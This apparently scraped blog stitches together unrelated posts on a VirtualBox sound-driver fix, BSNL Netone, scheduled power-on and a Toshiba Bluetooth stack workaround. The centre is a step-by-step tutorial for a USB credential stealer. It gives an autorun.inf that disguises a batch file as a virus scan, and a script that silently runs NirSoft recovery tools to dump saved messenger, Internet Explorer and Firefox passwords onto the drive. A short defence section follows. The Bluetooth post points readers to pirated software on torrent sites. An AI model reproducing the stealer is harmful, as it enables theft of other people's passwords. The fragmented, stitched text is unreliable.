This seems to be a strange recurring problem for most VirtualBox users. You install an XP guest and soon you realize the sound doesn’t work. You install the latest audio drivers from Realtek and boom goes the guest with a BSOD.

The work around is simple. You should install an older version of Realtek drivers. The 2004 set works great. You can find the drivers here.

http://cid-0d5aec64d9ff3d13.skydrive.live.com/self.aspx/Realtek%202004/Realtek2004.rar

enjoy your music!

 

   I’ll describe a procedure to obtain all passwords stored on a computer onto a Pen drive/ Flash Drive and later I’ll teach you how to protect yourself from such an attack.

   I’ll work in a folder called “Kougon Super Drive” But you can use any folder of your choice. You could also save all the files directly onto a pen drive

1. Open a Notepad file and type the following piece of code

[autorun]
open= scan.bat
ACTION= Perform a Virus Scan

Save the file as “autorun.inf”

2.  Now we will need a few programs to rip passwords off Windows. A company called NIR soft has been making free software's that can do this using a clever piece of code. By using the link you can access all their recovery software's. I’ll use only a few of them

• Messenger Pass (mspass) : This will recover all passwords from all Messengers.
• IE pass view (iepv) : Recover passwords saved on Internet Explorer
• Password Fox (passwordFox): Recovers all Firefox passwords.

Extract all the Executable files after you download the above softwares and place them in a folder called “ passes “. This folder must be inside the current working Folder.

Now all these utilities can be called using Command line parameters. We’ll now write a batch file to call them silently and save the resulting password onto a series of HTML files

3. Open Notepad and type the following piece of code 

@echo off
set number=1

:looper
if exist "passes/mspass%number%.html" set /a number=%number%+1
if not exist "passes/mspass%number%.html" goto savepasses
goto looper

:savepasses

start passes/mspass.exe /shtml passes/mspass%number%.html

start passes/iepv.exe /shtml passes/iepv%number%.html

start passes/passwordfox.exe /shtml passes/passwordfox%number%.html

Save this file as “scan.bat” . Save it in the same location as autorun.inf and one level above the passes folder.

4. Copy all these files into a Pen Drive

5.  Every time this disk is inserted into a computer you will get  an option to “scan the computer”. Run the scan and lo! all the passwords will be dumped in neat HTML files in the passes folder. The filenames will be automatically incremented after each iteration so you don’t have to bother changing the file names.

DEFENCE from this Exploit

You can save yourself from this attack by using 2 free softwares. I recommend Avira’s Anitivir and C.O.M.O.D.O Personal Firewall. You may have to make small changes in the configuration of antivir.

Antivir is a free Anti-virus software produced by Avira. It has one of the best detection rates and Virus Removal efficiency. {Verify it online through Wikipedia}.

open Avira and click on “configuration”

Check the  “Expert Mode” Radio button. Now click on “General” and click on “select all” for threat categories and hit apply. Just make sure you end up with the following window

 

That’s it the anti-virus software will now detect all the password sniffing software's and will give you an option to prevent them from being executed.

 

In C.O.M.O.D.O Firewall ; just enable the Defense+ option. and keep it in the default “Safe PC mode”. This will protect your computer from any programs that wish to access memory locations that are used to store passwords.

This will Protect your computer from Prying eyes.

Netone is a free Internet Connection offered by BSNL , India's largest telecommunications Company. 

Automatically turning on and off your computer is something that some of us desire. It is generally useful if you have to download something at a prescribed time interval. 

Bluetooth is a wireless technology that lets you connect two bluetooth enabled devices wirelessly. This ubiquitous technology is present in most of the cellphones,laptops and notepad computers. It is also the technology that connects your headsets to your Mobile phone.It is also used in the wireless Keyboard and mice that let you operate a computer from large distances.

A bluetooth monitor is a software that provides the drivers that are essential to connect the bluetooth device to your computer.

Most of the modern laptops(>2004) have a built-in bluetooth chip which helps transmit data wirelessly. But most of the desktops and the older laptops do not have this component. You can add a Bluetooth functionality by connecting a device called the Bluetooth dongle. (The Dongle looks like the one below)

When you add a Bluetooth dongle to a Toshiba laptop and if it is not something that has not been built by toshiba then you can't use it properly for long periods. You would have to download a set of softwares called the bluetooth stack from toshiba's website . This will allow you to operate the bluetooth dongle but for a period of 30 days.

This is because toshiba assumes that you are a a developer trying to use their tools and expects you to obtain a license from them. After the end of 30 days, the Bluetooth software/stack will stop working and the following message is displayed "Please obtain a license for this version of Bluetooth Stack for Windows by Toshiba."
But then there is no way to get such a license as toshiba does not sell such licenses !

So what to do when you get this ?

Here is a simple workaround, which I believe, will work for all laptops and PC's.

Install a different Bluetooth Monitor software such as Bluesoleil .This software is very similar to Toshiba's Bluetooth stack and Bluetooth Monitor softwares. It has more features and supports a very large number of Bluetooth Dongles.

Bluesoleil is one of those popular softwares on file sharing sites. You can download Bluesoleil from The Pirate Bay or Mininova or Torrentz using the following links. Just Click on the thumbnails to go to the relevant sites. But be warned that you could get infected with a few malicious viruses and Trojans transmitted through the torrents. You have been warned.



If you have a clean mind that is against piracy, you can download an original version of the software from the official website. The catch is that it is a shareware.


Bluesoleil is a shareware and used in the free mode it allows you to transfer a max of 5 MB of data at a time. Once you buy the license, you can use it with no limitations.

This should solve all your bluetooth manager problems on a Windows PC /laptop no matter when the laptop was manufactured.

I had a Toshiba laptop with a 3.0 GHz hyperthreaded processor and 1.2 Gb of RAM but with no Bluetooth. I faced all the above problems and whatever is written above is the solution that i managed to find. The bluetooth now works great with abssolutely no problems. Blesoleil seems to be a tad better than Toshiba's original software.



Linux users need to download a package called "bluetooth-gnome" OR "bluetooth-kde" using a suitable package manager depending on the windows environoment you use. These packages will add an application to transfer files that will work as a breeze and moreover it is legally free too! By default Ubuntu does not have a bluetooth data transfer program. Even though it is a small file of size < 1MB , It is not included. it's like the mp3 issue. You cannot play music unless you install gstreamer and gstreamer for mp3 is such a small download! Strange are the ways of opensource.